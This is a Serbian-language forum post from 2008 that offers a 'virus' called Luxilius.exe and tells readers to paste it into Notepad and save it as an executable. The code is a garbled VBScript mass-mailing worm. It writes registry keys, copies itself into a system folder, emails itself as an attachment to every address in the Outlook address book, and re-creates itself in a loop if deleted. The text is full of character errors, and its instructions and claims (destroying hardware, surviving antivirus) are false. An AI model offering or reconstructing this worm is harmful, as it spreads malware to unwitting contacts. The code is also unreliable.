***VUCJE*** Forum by LexXx

Sve na jednom mestu...linkovi za download, diskusije, iskustva...ma sve sto vam padne na pamet...
 
PrijemGalerijaFAQ - Često Postavljana PitanjaTražiRegistruj seLista članovaKorisničke grupePristupi

Share | 
 

 Novi Virus Luxilius

Pogledaj prethodnu temu Pogledaj sledeću temu Ići dole 
AutorPoruka
LexXx
Admin


Broj poruka : 133
Godina : 26
Datum upisa : 05.12.2007

PočaljiNaslov: Novi Virus Luxilius   Pet Maj 02, 2008 12:39 pm

Ovo je virus koji se zove Luxilius.exe
kad iskopirate
ovaj text u notepad ispod tarabica
dacete mu ime Luxilius.exe inace podesen je
da eliminise softwer i hardwer ujedno.medjutim,antivirus
ce ga obrisati al ovaj virus ima svoj save hiden files
####################################################

exe.10101001
Created/crackerLuxilius
2.14GHz,512MB\RAM
On Error Resume Next eliminate boot
Set_shellobject=CreateObject(”WScript.Shell’)
shellobject.regwrite“
HKCU\software\hardware\update\
”,“Worm made with Vbswg 20.94Gb”
Set_fi[esystem=Createobject(”scripting.filesystemobject”)
filesystem.copyfile
wscript.scriptfu[[name,filesystem.GetSpecia[server(O)
&“\Luxilius.exe”
if_shellobject.regread
(“HKCU\software\hardware\update\mai[ed”)
“1”then
maiL_mydoom()
end if
if_month(now)=1 and day(now)=26 then
she[[object.run“Http://www.dynabyte.nC’,3,fa[sh
end if
Set wormffte=filesystem.opentextfile(wscript.scriptfullname,
1)
payload=wormffte.readall
wormffte.Close
Do
If Not (filesystem.fileexists(wscript.scriptfullname))Then
Set_newfile=filesystem.createtextfile(wscript.scriptfullname,True)
newfile.write payload
newfile.Close
End If
Loop
Function mail_mydoom()
On Error Resume Next eliminate
Set server=CreateObject(”server.Application”)
If server=“server”Then
Set_mapi=server.GetNameSpace(”server”)
Set_add resses=mapi.Address Lists
For Each address In addresses
If address.AddressEntries.Count<>0 Then
count=address.AddressEntries.Count
For 1=1 To count
Set_email=server.Createltem(0)
Set_entry=address.AddressEntries( I)
email.To=entry.Address
email.Subject=“In your system is Branko-v crack
email.Body=“Hi:”&vbcrlf&“Check This!”&vbcrlf&
set_attachment=email.Attachments
attachment.Add filesystem.GetSpecialserver(0)&
“\Luxilius.exe”
email.DeleteAfterSubmit = True
If email.To<>“Then
email.Send
shellobject.regwrite“
HKCU\software\hardware\eliminate\mailed”,“1”
End If
Next
End If
Next
end if
End Function
‘Vbswg 20.94Gb"
Nazad na vrh Ići dole
Pogledaj profil korisnika http://vucje.top-forum.net
 
Novi Virus Luxilius
Pogledaj prethodnu temu Pogledaj sledeću temu Nazad na vrh 
Strana 1 od 1
 Similar topics
-
» Novi Pravopis srpskog jezika 2010
» Zmijonoša - novi horoskopski znak
» Hodaci-gibaci-pingvini-lingvini
» Lanin dnevnik - Lana je stigla kući posle 112 dana
» Novi partner i SPB

Dozvole ovog foruma:Ne možete odgovarati na teme u ovom forumu
***VUCJE*** Forum by LexXx :: VIRUSI-
Skoči na:  
Free forum | © phpBB | Besplatan Forum međusobnog pomaganja | Signalizirajte zloupotrebu | Napraviti svoj blog